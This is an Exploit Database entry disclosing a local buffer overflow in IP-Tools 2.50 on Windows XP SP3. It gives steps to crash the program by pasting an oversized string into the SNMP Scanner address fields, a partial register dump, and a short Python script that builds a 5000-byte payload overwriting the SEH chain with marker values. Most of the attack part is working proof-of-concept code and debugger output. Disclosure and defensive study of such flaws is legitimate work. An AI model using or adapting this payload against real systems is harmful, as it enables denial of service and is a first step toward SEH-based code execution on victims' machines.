IP-Tools 2.50 - Local Buffer Overflow (PoC)

EDB-ID:
46286

CVE:
N/A

EDB Verified: ×

Author:
RAFAEL PEDRERO

Type:
DOS

Exploit: / {}

```
# Exploit Title: IP TOOLS v2.50 - Denial of Service (PoC) and SEH
overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: https://www.ks-soft.net/ip-tools.eng/index.htm
# Software Link : https://www.ks-soft.net/ip-tools.eng/index.htm /
https://web.archive.org/web/20070322163021/http://hostmonitor.biz:80/download
tools.exe
# Tested Version: 2.50
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run IP-Tools.exe
# 2.- Go to SNMP Scanner tab and copy content of IPTools_Crash.txt to
clipboard
# 3.- Paste the content into the field: 'From Addr' and 'To Addr'
# 4.- Click 'Start' button and you will see a crash.


'''
SEH chain of main thread
```



```
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDD000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0120  Cond 0 0 0 1  Err 0 0 1 0 0 0 0 0  (LT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0
'''

#!/usr/bin/env python

junk = "\x41" * 4112
crash = junk + "BBBB" + "CCCC" + "D" * (5000 - len(junk) - 8)
f = open ("IPTools_Crash.txt", "w")
```

```
f.write(crash)
f.close()
```

Tags: Denial of Service (DoS), Buffer Overflow

Advisory/Source: Link

Databases

Links

Sites

Solutions